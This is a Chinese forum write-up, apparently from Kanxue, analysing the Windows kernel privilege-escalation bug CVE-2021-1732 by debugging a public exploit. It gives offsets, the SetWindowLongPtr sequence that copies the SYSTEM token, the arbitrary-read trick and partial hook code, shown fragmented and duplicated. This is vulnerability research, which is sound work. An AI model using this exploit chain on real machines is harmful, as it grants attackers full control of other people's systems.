CVE-2021-1732 是蔓灵花(BITTER)APT 组织在某次被披露的攻击行动中使用的 0day 漏洞,该高危漏洞可以在本地将普通用户进程的权限提升至最高的 SYSTEM 权限。 目前,CVE-2021-1732,主要有两个版本:一个是Kernel Killer在Windows 10 Version 1809 for x64上的版本,另一个是KaLendsi在Windows 10 Version 1909 for x64上的版本。 本文的主要特点是: 1、 以动态调试为主,静态分析为辅; 2、 不再重复进行详细的理论介绍,只挑选EXP涉及的部分进行简单说明; 3、 本文介绍KaLendsi的1909版本; 4、 通过调试EXP代码分析漏洞原理; 5、 修改了原来版本的一些冗余代码,并增加了一些调试代码。 所以,阅读本文之前,一定要先阅读下面两个网址内容: https://www.anquanke.com/post/id/241804#h3-12 https://bbs.pediy.com/thread-266362.htm
Windows Server, version 20H2 (Server Core Installation) Windows 10 Version 20H2 for ARM64-based Systems Windows 10 Version 20H2 for 32-bit Systems Windows 10 Version 20H2 for x64-based Systems Windows Server, version 2004 (Server Core installation) Windows 10 Version 2004 for x64-based Systems Windows 10 Version 2004 for ARM64-based Systems Windows 10 Version 2004 for 32-bit Systems Windows Server, version 1909 (Server Core installation) Windows 10 Version 1909 for ARM64-based Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows Server 2019 (Server Core installation) Windows Server 2019 Windows 10 Version 1809 for ARM64-based Systems Windows 10 Version 1809 for x64-based Systems Windows 10 Version 1809 for 32-bit Systems Windows 10 Version 1803 for ARM64-based Systems Windows 10 Version 1803 for x64-based Systems
该漏洞和传统的内核漏洞不太一样,它不是UAF类型漏洞,也不涉及内存耗尽之后的指针问题,所以没有堆喷射,没有内存消耗,很难检测其存在,漏洞类型可以称之为:逻辑型漏洞。也就是说,漏洞是通过代码审查,分析函数功能流程找到的。这种类型的漏洞确实经典。
通过上图可知,Ring3调用CreateWindowsEx时,进入Ring0后,又返回Ring3申请内存空间,此时对函数_xxxClientAllocWindowsClassExtraBytes进行HOOK,通过调用NtUserConsoleControl改变其为offset模式,然后返回恶意地址。这就是漏洞成因,是利用的关键。图片来源:https://bbs.pediy.com/thread-266362.htm。 因此,该漏洞的实质就是,在创建一个带扩展内存的窗口时,内核中xxxClientAllocWindowClassExtraBytes的应用层回调对来自应用层返回的数据校验不严导致,通过hook xxxClientAllocWindowClassExtraBytes,并在hook函数中调用NtUserConsoleControl/NtCallbackReturn可以将目标窗口的poi(tagWND+0x28)+0x128位置设置为任意offset,从而导致越界写入。
##2.2 POC关键代码
上面是POC关键代码,可以看到首先调用CreateWindowsExW创建Magic窗口,然后HOOK ClientAllocWindowClassExtraBytes函数,通过在内存中暴力搜索Magic窗口的句柄值之后,返回一个0xFFFFFF00地址,再调用:
触发漏洞。
反编译xxxSetWindowLong出现异常时的代码,分析可见关于SetWindowsLong存在两种寻址模式,一种是直接寻址,一种是偏移寻址,图中的ptagWNDk+0x128就是pExtraBytes,直接寻址时它是地址;偏移寻址时它是相对于桌面堆基址的偏移量。POC代码就是将其直接寻址模式,改为偏移寻址,触发的漏洞。如下图所示。 运行POC,出现异常: 从上图可以看出,POC运行之后,rdx就是我们在代码里面设置的NtCallBackReturn的0Xffffff00,在xxxSetWindowLong偏移0x110、0x113,可以看到,POC运行之后,rdx就是我们在代码里面设置的NtCallBackReturn的0Xffffff00,在xxxSetWindowLong偏移0x110、0x113,如下图所示: 说明我们现在出于直接寻址模式,桌面堆基址+设置的偏移 = 目标地址,这就意味着有存在任意地址任意写的可能。
该结构体在win7之后就没有符号文件了,需要自己分析。tagWND结构体参考了https://www.anquanke.com/post/id/241804#h3-12。 主要区别是: 1、在1909版本下,tagWND的结构体稍微有所变化,本文对变化进行了更新,且更正了之前网址对dwStyle结构体定义出现的错误。 2、对spMenu的结构体,根据KalenDashi的EXP的构造进行了重新分析。 下面列出tagWND结构体与漏洞相关的字段,(一个 “Tab 缩进 + 偏移量”表示一次父级的值加偏移后访存)。
内存布局有两种思路 1)第一种是kk的思路。申请50个窗口,然后释放其中的48个,最后再申请一个新窗口。要满足1个条件:窗口0的扩展内存地址要小于窗口1的地址,如果不满足,则重新申请,直到5次之后还不满足,则退出。新申请窗口的ptagWNDk地址会复用前面48个窗口的地址,所以可以根据前面48个窗口的ptagWNDk获取新窗口的地址。 2)第二种是KaLendsi的思路。申请10个窗口,然后释放其中的8个。剩余的2个比较ptagWNDk地址,大的为窗口Max,小的为窗口Min。新申请的为Magic窗口,它会占用之前释放窗口的内存。内存布局如下:
EXP代码第275行~317行、350行~363行执行完之后,Magic窗口内存占用如下。 由上图可见,hWndMagic的tagWNDk确实是0x2416e8dd5c0,但是g_hWndMagic已经是0x70342了,而不是原来的0x50354。 在代码第366行断点,此时,窗口Min、窗口Max、窗口Magic的tagWNDk如下: 图3.2 窗口Min的tagWNDk 图3.3 窗口Max的tagWNDk 图3.4 窗口Magic的tagWNDk 由图3.2~3.4可知: 1)桌面堆的基址是:0x2416e8d0000。(反推计算) 2)hwnMagicWNDk,也就是窗口Magic的pExtraBytes是0xf550。 3)桌面堆基址+窗口Magic的偏移等于:0x2416e8d0000+0xf550 = 0x2416e8df550。 4)由上面图可知,firstEntryDesktop_Min,也就是窗口0的地址正好是0x241`6e8df550,意味着,现在窗口Magic的扩展内存指向了窗口Min,可以改变窗口Min的WND属性。注意: 这里的桌面堆基址只是表示应用层的基址是这个地址,并不是内核层的桌面堆基址,必须修改内核层数据,才能达到任意写的目的。 在g_newxxxClientAllocWindowClassExtraBytes时,EXP里面直接比较0x800000,是正确的,此时Magic窗口的内存布局如下: 但是函数返回之后,实际值等于0x08000100。通过内存布局,也可以看出,tagWNDk的0x18是dwExStyle,0x1C是dwStyle。这是其他地方介绍这个字段时的错误之处,现在纠正过来。
需要修改两个地方: 1)一个是cbWndExtra为0xFFFFFFFF,使得原来只能32字节的写范围,扩大到0xFFFFFFFF; 2)修改窗口Min的pExtraBytes指向自己; 图3.6 窗口Min的pExtraBytes指向自己 由上图可知: 1)由第一步可知,此时Magic窗口的pExtraBytes指向的是窗口Min的ptagWNDk,执行SetWindowLongW(g_hWndMagic, offset_0xc8, 0xFFFFFFF)后,窗口Min的cbWndExtra被修改; 2)执行SetWindowLongW(g_hWndMagic, offset_0x128, g_Thrdeskhead_cLockobj_Min)后,窗口Min的 pExtraBytes被修改成指向自己(堆基址+0xf550=0x241`6e8f550)。
在EXP代码第436行断点,可以得到此时窗口Max的内存布局,如下图: 由上图可知,在调用: SetWindowLongPtrA(hWndMin, Thrdeskhead_cLockboj_Max + offset_0x128 - g_Thrdeskhead_cLockobj_Min, qwMyTokenAddr)后, 窗口Max的pExtraBytes指向了当前进程的Token地址,再调用; SetWindowLongPtrA(g_hWndMax, 0, dwSystemToken); 就把系统的Token赋值给了当前进程。 窗口Max处于直接寻址模式,它的pExtraBytes地址等于0xffffaa84`5da693e0,执行之后,可以看到,该地址的值确实和系统的Token值0xffff97831c00629f相等。提权目的已经达到。 但是有个问题,系统的Token和系统的Token地址是怎么得到的呢?这就涉及到另外一个问题,任意地址读了。
因为任意地址读第二步,需要调用: g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4); 逆向代码如下: 图3.8 设置虚假Menu时的逆向代码 由上图可知,调用该函数如果要设置成功,则需要窗口Max要包含WS_CHILD属性。所以,首先调用: SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ^ 0x4000000000000000); 设置窗口Max包含WS_CHILD属性。
由图3.8可知,在函数 g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4)中, 实际取的是最高位0x4C,所以0x4C&0xC0 = 0x40了。 4的二进制0100 ,C的二进制1100,所以实际是取的第3bit位,而不是整个数值。比如,是0x4C,第3bit位是1,其余是0,就是WS_WHILD,同样的,24c00000,第2bit位2,就是WS_MINIMIZE。 执行 SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ^ 0x4000000000000000); g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4); 之后,窗口Max的内存如下图。g_qwExpLoit就是窗口Max的Menu地址。通过该地址,就可以获取想要的关键数据了。 由图3.9可知,正如分析的那样,窗口Max的spMenu位置,已经被赋值成了g_pMem4的地址,且其dwStyle位置确实已经是0x4C。 图3.10展示了g_qwExpLoit的内存数据,这里的g_qwExpLoit就是tagWND结构体里面的ref_g_pMem4(spMenu),也就是Menu的数据。从图3.10可知,其内存布局和之前定义的tagWND结构体完全对应,更重要的是,注意左面的地址,已经是内核地址,展示出来的窗口Max的内存数据和图3.9是一样的,一个是0xfffffxxxxxxxx开始的内核地址,一个是0x00000xxxxxxx开始的应用层地址。 最后就是通过GetMenuBarInfo读取这里的内核数据,实现提权的。 图3.9 泄漏窗口Max的Menu时窗口Max内存布局 图3.10 Menu的内存布局
因为获取到泄漏的Menu地址后,实际是通过GetMenuBarInfo读取需要的数据的。而通过GetMenuBarInfo读取数据时,窗口是不能有是WS_CHILD属性。所以需要执行: SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max -g_Thrdeskhead_cLockobj_Min, g_qwrpdesk); 恢复窗口的WS_CHILD属性。 图3.10 恢复窗口Max的WS_CHILD属性时的内存 由上图可知,一共有3个检查点、2个构造点、2个取值点,具体细节参考EXP源码。EXP原来有两行是多余的: 1、ref_g_pMem1 = 0x88888888; 2、 (QWORD*)(ref_g_pMem3 + 8) = 16; 可以删除。
HWND g_hWndMagic
=
CreateWindowExW(
0x08000000u
,
/
/
dwExStyle
=
WS_EX_NOACTIVATE
(LPCWSTR)(unsigned __int16)g_lpWcxMagic,
L
"somewnd"
,
0x20000000u
,
/
/
dwStyle
=
WS_MINIMIZE
0
,
0
,
0
,
0
,
0
,
CreateMenu(),
GetModuleHandleW(
0
),
0
);
HWND g_hWndMagic
=
CreateWindowExW(
0x08000000u
,
/
/
dwExStyle
=
WS_EX_NOACTIVATE
(LPCWSTR)(unsigned __int16)g_lpWcxMagic,
L
"somewnd"
,
0x20000000u
,
/
/
dwStyle
=
WS_MINIMIZE
0
,
0
,
0
,
0
,
0
,
CreateMenu(),
GetModuleHandleW(
0
),
0
);
DWORD64 g_newxxxClientAllocWindowClassExtraBytes(DWORD64
*
a1)
{
DWORD64 dwTemp
=
*
a1;
if
(dwTemp
=
=
g_nRandom)
{
g_offset_0x1
=
1
;
/
/
从最小的地址暴力搜索
HWND hwndMagic
=
GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize);
/
/
找到的是magicClass的HWND
printf(
"MagciHwnd==%p\r\n"
, hwndMagic);
if
(hwndMagic)
{
Int_3();
QWORD hwndMagicWNDk
=
(QWORD)g_pfnHmValidateHandle(hwndMagic,
1
);
printf(
"MagciHwnd pExtraBytes Before NtUserConsoleControl == %x\r\n"
,
*
(DWORD
*
)(hwndMagicWNDk
+
0x128
));
g_pfnNtUserConsoleControl(
6
, &hwndMagic,
0x10
);
printf(
"MagciHwnd pExtraBytes After NtUserConsoleControl == %x\r\n"
,
*
(DWORD
*
)(hwndMagicWNDk
+
0x128
));
QWORD qwRet
=
g_Thrdeskhead_cLockobj_Min;
g_pfnNtCallbackReturn(&qwRet,
24
,
0
);
}
}
DWORD64 dwTest
=
*
((PULONG64)
*
(a1
-
11
));
return
g_oldxxxClientAllocWindowClassExtraBytes(a1);
}
HWND GuessHwnd(QWORD
*
pBaseAddress, DWORD dwRegionSize)
{
QWORD qwBaseAddressBak
=
*
pBaseAddress;
QWORD qwBaseAddress
=
*
pBaseAddress;
DWORD dwRegionSizeBak
=
dwRegionSize;
HWND hwndMagicWindow
=
nullptr;
do
{
while
(
*
(WORD
*
)qwBaseAddress !
=
g_nRandom & dwRegionSize >
0
)
{
qwBaseAddress
+
=
2
;
dwRegionSize
-
-
;
}
/
/
获取不到才会走下面的步骤
/
/
(
-
50
+
6
)
*
4
=
-
2C
*
4
=
-
B0 ,c8
-
b0
=
0x18
,说明ptagWNDk的
0x18
偏移dwStyle是
0x8000000
if
(
*
(DWORD
*
)((DWORD
*
)qwBaseAddress
+
(
0x18
>>
2
)
-
(
0xc8
>>
2
)) !
=
0x8000000
)
{
qwBaseAddress
=
qwBaseAddress
+
4
;
QWORD qwSub
=
qwBaseAddressBak
-
qwBaseAddress;
dwRegionSize
=
dwRegionSizeBak
+
qwSub;
}
hwndMagicWindow
=
(HWND)
*
(DWORD
*
)(qwBaseAddress
-
0xc8
);
/
/
qwBaseAddress现在指向cbWndExtra,减去
0xc8
,刚好等于hwnd
if
(hwndMagicWindow)
{
break
;
}
}
while
(true);
return
hwndMagicWindow;
}
DWORD64 g_newxxxClientAllocWindowClassExtraBytes(DWORD64
*
a1)
{
DWORD64 dwTemp
=
*
a1;
if
(dwTemp
=
=
g_nRandom)
{
g_offset_0x1
=
1
;
/
/
从最小的地址暴力搜索
HWND hwndMagic
=
GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize);
/
/
找到的是magicClass的HWND
printf(
"MagciHwnd==%p\r\n"
, hwndMagic);
if
(hwndMagic)
{
Int_3();
QWORD hwndMagicWNDk
=
(QWORD)g_pfnHmValidateHandle(hwndMagic,
1
);
printf(
"MagciHwnd pExtraBytes Before NtUserConsoleControl == %x\r\n"
,
*
(DWORD
*
)(hwndMagicWNDk
+
0x128
));
g_pfnNtUserConsoleControl(
6
, &hwndMagic,
0x10
);
printf(
"MagciHwnd pExtraBytes After NtUserConsoleControl == %x\r\n"
,
*
(DWORD
*
)(hwndMagicWNDk
+
0x128
));
QWORD qwRet
=
g_Thrdeskhead_cLockobj_Min;
g_pfnNtCallbackReturn(&qwRet,
24
,
0
);
}
}
DWORD64 dwTest
=
*
((PULONG64)
*
(a1
-
11
));
return
g_oldxxxClientAllocWindowClassExtraBytes(a1);
}
HWND GuessHwnd(QWORD
*
pBaseAddress, DWORD dwRegionSize)
{
QWORD qwBaseAddressBak
=
*
pBaseAddress;
QWORD qwBaseAddress
=
*
pBaseAddress;
DWORD dwRegionSizeBak
=
dwRegionSize;
HWND hwndMagicWindow
=
nullptr;
do
{
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-4-14 15:46
被ExploitCN编辑
,原因: